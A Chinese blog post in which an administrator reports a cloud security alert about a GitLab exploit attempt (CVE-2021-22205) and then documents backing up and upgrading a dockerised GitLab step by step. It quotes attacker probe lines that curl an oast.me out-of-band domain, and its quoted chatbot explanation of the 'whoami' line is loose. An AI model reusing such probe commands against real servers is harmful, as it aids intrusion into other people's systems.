阿里云的报警

晚上突然收到了一个阿里云的安全报警:

告警原因
模型检测到进程命令行包含可疑的dnslog域名,很有可能与木马、病毒、黑客行为有关。
用户名
systemd-network
命令行
curl git.d9u6jeporg8t3qcmlbu0uku5o1ptjaq5q.oast.me

把报警日志部分发给 deepseek,得到了攻击详细信息反馈:

这几乎可以肯定是攻击者正在利用GitLab的一个高危远程代码执行(RCE)漏洞(CVE-2021-22205)尝试控制您的服务器。

1.攻击链条清晰:
攻击者利用了GitLab处理图片上传的功能。正常流程是gitlab-workhorse调用exiftool处理图片元数据。但攻击者构造了恶意图片,利用ExifTool自身的命令注入漏洞(CVE-2021-22204),让exiftool在执行时运行了恶意命令。

2.恶意命令解析:
被执行的命令是 curl whoami.d9u6jeporg8t3qcmlbu0uku5o1ptjaq5q.oast.me。

  • curl:用于发起网络请求。
  • whoami:会先执行whoami命令,获取当前系统用户名(很可能是systemd-network)。
  • oast.me:这是一个著名的带外应用安全测试(OAST) 平台域名,常被安全人员用于检测漏洞,但同样被攻击者用作数据外泄(Data Exfiltration) 的通道。
  • 攻击目的:攻击者通过DNS查询将whoami命令的结果发送到其控制的oast.me服务器,以此验证命令是否成功执行。这是一次典型的无回显命令执行攻击,目的是探测服务器。

3.漏洞与版本:
您运行的 gitlab/gitlab-ee:13.6.7-ee.0 版本存在严重安全漏洞。CVE-2021-22205 正是影响此版本及其附近版本的严重RCE漏洞。攻击者正在利用此漏洞。

推荐的立即处理就是停止容器、备份数据、升级版本、检查入侵痕迹。并强调:

唯一正确且紧急的处置方案是立即隔离容器并升级GitLab版本。

先停掉容器,然后根据多轮对话检查入侵痕迹。但并没有任何线索,推测是首次利用漏洞进行扫描确认可使用的肉鸡。所以现在就一个操作:升级 gitlab 版本。

升级 gitlab 版本

看了 chatgpt 结合官方文档给的升级路径,不能一次性升级到最新的版本,要每个大版本都间隔升级几次,以确保兼容性。

Plan your upgrade path - gitlab

不禁庆幸,之前升级成了 docker compose 部署方式,只需要挨个替换版本,然后 pull 镜像,再启动测试就行。怪不得之前没有升级欲望,太麻烦了。

gitlab 提供了一个 升级路径工具,可以提供当前版本到最新版本之间所有需要停顿的升级节点。当前版本是 13.6.7:

gitlab 13.6.7 升级路径

新建 gitlab 备份

docker exec -t gitlab gitlab-backup create
# 确认
ls -lh ./backups
# 备份备份文件
mkdir bak
cp config/gitlab.rb bak/
cp config/gitlab-secrets.json bak/
cp backups/1786703511_2026_08_14_13.6.7-ee_gitlab_backup.tar bak/

docker comppose 升级

# 修改 docker compose yml 中的镜像版本号
gitlab/gitlab-ee:13.12.15-ee.0
# 拉取 docker-compose.yml 中的镜像
docker compose pull gitlab
# 查看
docker images
# 重启
docker compose up -d

之后重复 docker compose 升级步骤,直到最新版本。启动过程中 gitlab 访问返回 502 是正常的,需要耐心等待。

升级报错解决

13.12.15 -> 14.0.12

报错信息:

Recipe Compile Error in /opt/gitlab/embedded/cookbooks/cache/cookbooks/gitlab-ee/recipes/default.rb
Removed configurations found in gitlab.rb. Aborting reconfigure. 
Removals: 
* unicorn['worker_timeout'] has been deprecated since 13.10 and was removed in 14.0. Starting with GitLab 14.0, Unicorn is no longer supported and users must switch to Puma, following https://docs.gitlab.com/ee/administration/operations/puma.html. 
* unicorn['worker_processes'] has been deprecated since 13.10 and was removed in 14.0. Starting with GitLab 14.0, Unicorn is no longer supported and users must switch to Puma, following https://docs.gitlab.com/ee/administration/operations/puma.html. 
* unicorn['listen'] has been deprecated since 13.10 and was removed in 14.0. Starting with GitLab 14.0, Unicorn is no longer supported and users must switch to Puma, following https://docs.gitlab.com/ee/administration/operations/puma.html. 
* unicorn['port'] has been deprecated since 13.10 and was removed in 14.0. Starting with GitLab 14.0, Unicorn is no longer supported and users must switch to Puma, following https://docs.gitlab.com/ee/administration/operations/puma.html. 
* unicorn['worker_memory_limit_min'] has been deprecated since 13.10 and was removed in 14.0. Starting with GitLab 14.0, Unicorn is no longer supported and users must switch to Puma, following https://docs.gitlab.com/ee/administration/operations/puma.html. 
* unicorn['worker_memory_limit_max'] has been deprecated since 13.10 and was removed in 14.0. Starting with GitLab 14.0, Unicorn is no longer supported and users must switch to Puma, following https://docs.gitlab.com/ee/administration/operations/puma.html. 
* unicorn[enable] has been deprecated since 13.10 and was removed in 14.0.

通过 chatgpt 确认是 unicorn 性能调优配置在 13.10 版本废弃,在 14.0 版本已经被删除,所以不认识这个配置,需要去掉。现在推荐是使用 Puma 进行性能调优,但现阶段目标是升级,删除掉 unicorn 相关配置即可。

要确保 Puma 是启动的:puma['enable'] = true,或者注释掉让配置使用默认的 puma,不然内部服务转发 8080 会因为没有服务处理而报错。

修改之后

# 重新配置(修改了 gitlab.rb 配置文件就需要重新配置)
docker exec -it gitlab gitlab-ctl reconfigure
# 查看服务(确保 puma 是启动的)
docker exec -it gitlab gitlab-ctl status
# 重启
docker restart gitlab
文章目录